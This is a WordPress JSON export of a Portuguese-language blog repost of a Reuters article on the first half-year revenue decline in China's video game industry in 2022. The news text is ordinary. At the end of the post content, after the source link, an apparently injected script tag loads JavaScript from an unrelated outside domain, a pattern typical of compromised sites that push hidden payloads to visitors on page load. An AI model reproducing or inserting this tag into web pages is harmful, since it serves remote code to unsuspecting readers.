{"id":2650,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/industria-de-games-na-china-tem-1a-queda-em-receita-em-14-anos-21-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"industria-de-games-na-china-tem-1a-queda-em-receita-em-14-anos-21-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/industria-de-games-na-china-tem-1a-queda-em-receita-em-14-anos-21-07-2022\/","title":{"rendered":"Ind\u00fastria de games na China tem 1\u00aa queda em receita em 14 anos &#8211; 21\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Por Josh Ye<\/p>\n<p>HONG KONG (Reuters) &#8211; A receita do setor de videogames da China caiu no primeiro semestre pela primeira vez desde que os dados foram disponibilizados h\u00e1 14 anos. O maior mercado no setor do mundo tem sido fortemente impactado por intensa atividade de regula\u00e7\u00e3o pelo governo.<\/p>\n<p>A receita combinada do setor caiu 1,8%, para 147,7 bilh\u00f5es de iuans (21,8 bilh\u00f5es de d\u00f3lares) nos seis meses encerrados em junho, de acordo com um relat\u00f3rio publicado nesta quinta-feira pela China Audio-Video and Digital Publishing Association, um grupo da ind\u00fastria apoiado pelo Estado.<\/p>\n<p>Os n\u00fameros marcam a primeira queda desde que os dados come\u00e7aram a ser publicados em 2008 e reflete como a enorme ind\u00fastria de videogames da China, antes marcada por um crescimento desenfreado, foi fortemente atingida por esfor\u00e7os do governo chin\u00eas para refor\u00e7ar a supervis\u00e3o sobre o setor, inclusive reduzindo o n\u00famero de concess\u00f5es de licen\u00e7as para novos games e limitando o tempo de uso de telas por adolescentes.<\/p>\n<p>O relat\u00f3rio tamb\u00e9m mostra que o n\u00famero de jogadores em todo o pa\u00eds caiu pela primeira vez, para 665,69 milh\u00f5es ante 666,57 milh\u00f5es relatados em dezembro.<\/p>\n<p>A receita dom\u00e9stica das empresas chinesas de games caiu 4,25%, para 124,5 bilh\u00f5es de iuans. Com regulamenta\u00e7\u00f5es pesadas em casa, as empresas est\u00e3o se voltando para os mercados estrangeiros em busca de crescimento, onde a receita aumentou 6,16%, para quase 9 bilh\u00f5es de d\u00f3lares no per\u00edodo.<\/p>\n<p>A China congelou aprova\u00e7\u00f5es para novos videogames por quase nove meses antes de retom\u00e1-las em abril. Entretanto, gigante da ind\u00fastria, incluindo Tencent e NetEase ainda n\u00e3o receberam licen\u00e7as para novos t\u00edtulos serem lan\u00e7ados no mercado.<\/p>\n<p>(Por Josh Ye)<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/reuters\/2022\/07\/21\/industria-de-games-na-china-tem-1-queda-em-receita-em-14-anos.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por Josh Ye HONG KONG (Reuters) &#8211; A receita do setor de videogames da China caiu no primeiro semestre pela primeira vez desde que os dados foram disponibilizados h\u00e1 14 anos. O maior mercado no setor do mundo tem sido fortemente impactado por intensa atividade de regula\u00e7\u00e3o pelo governo. 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